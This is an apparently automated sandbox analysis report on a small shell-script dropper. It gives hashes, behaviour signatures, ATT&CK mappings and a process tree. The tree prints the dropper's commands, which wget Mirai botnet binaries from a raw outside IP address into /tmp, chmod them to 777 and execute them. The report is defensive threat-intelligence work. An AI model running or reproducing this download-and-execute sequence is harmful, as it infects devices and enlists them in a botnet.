6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d

Analysis

max time kernel
133s
max time network
136s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/09/2026, 17:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
Size 292B
Sample260920-vs799axt9l
SHA256 6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d
MD5 97574b72f6b8f035a2b5bea8d81b8b2d
SHA1 f5b66b5d429943d99314cd96d381deeb9c62f115
SHA512 2531f399b5f8769373947d68daff9a05bf056f2e1c43d7a29821acf997e74554f36d22b9d3ff00fce3eb95143399e4b33d4ec11ec301a1763211dc372bd6c2f0
TLSH
T167E0C2E4F876AB02715D1C2D311AC3A6BAC24D9F88013D8A809F4CB5D98DD5CA168EB2
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery

Malware Config

Signatures

Contacts a large (1601) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod
735	chmod

Deletes itself 1 IoCs

pid	Process
748	.m

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/.m	737	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
/tmp/.m	748	6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	1jo52m8ij0050nhdvbmkj5d6	748	.m

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
721	wget

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.m	wget
File opened for modification	/tmp/.m	wget

/tmp/6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
/tmp/6314ab9a32ebfd10f877c94937e982a470821bce204bfb500e92b50421fa657d.sh
1⤵
- Executes dropped EXE
PID:717
- /bin/rm
  rm -f .m
  2⤵
  PID:719
- /usr/bin/wget
  wget -qO .m http://176.65.148.10/mirai.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/chmod
  chmod 777 .m
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/.m
  ./.m
  2⤵
  PID:737
- /usr/bin/wget
  wget -qO .m http://176.65.148.10/mirai.mpsl
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 .m
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/.m
  ./.m
  2⤵
  - Deletes itself
  - Changes its process name
  PID:748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/.m
Size 703KB
SHA256 07623448429a02c23d568207e8ff42f08578bdc7fc626d0aa1ad5a56f880853d
MD5 98cd2594ad5909883b298c0753051cfe
SHA1 40be8216cd904ee60949232dab6dc0c61f1bfab0
SHA512 1aaac0d727e6b89782dc5d6d0da3d829fd7550a34da3fda703628c647d53870da8778be23a1d2ad09bc93afd7b4c7e95ee7d5ee7df1ff260307dda3fe5446f0b
SSDEEP 12288:Ziu+6ImQwJ/vPCKddKyi4UXGZEFLSBngpjyw8tN1DOIsuH7:fdImvjS4UXGZEpSB68EIsub
TLSH
T1C5E47C5277318F64E361D27105E3CBA19AA921930AE354C6A37CC7207A50B2D2D6FFF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.m
Size 703KB
SHA256 1ff24d746d38ce91b6f883c08538f3244ff3f4e20db51bb055140f02deaebc01
MD5 08e3eb309cd50220bb82baf445b29027
SHA1 864dd9a123701187bc270bcf55c7ed57e8a88063
SHA512 452dfec0ed47d918059d9280f47c72f3cd76d60eaef8ae5e5d5578272dceb9d55640f620033dbe2a8ba8edaa4c6f22d42432b0443f5175ba83cd9ec2792e7246
SSDEEP 12288:8bcBGN6HKJRkh3ADabzZroajR/leATQ2CWtYg3Xj6XF1nvGVTfOExnNNoU9b2pJ9:o9N6H0RkxvbfXVRIXfuRIsu
TLSH
T1FFE46C06EF941FEBC4AFCE34855E831B05EDC88742C2A63561BCCD6CBA8D2594BE7458
MD5 SHA1 SHA512 SSDEEP TLSH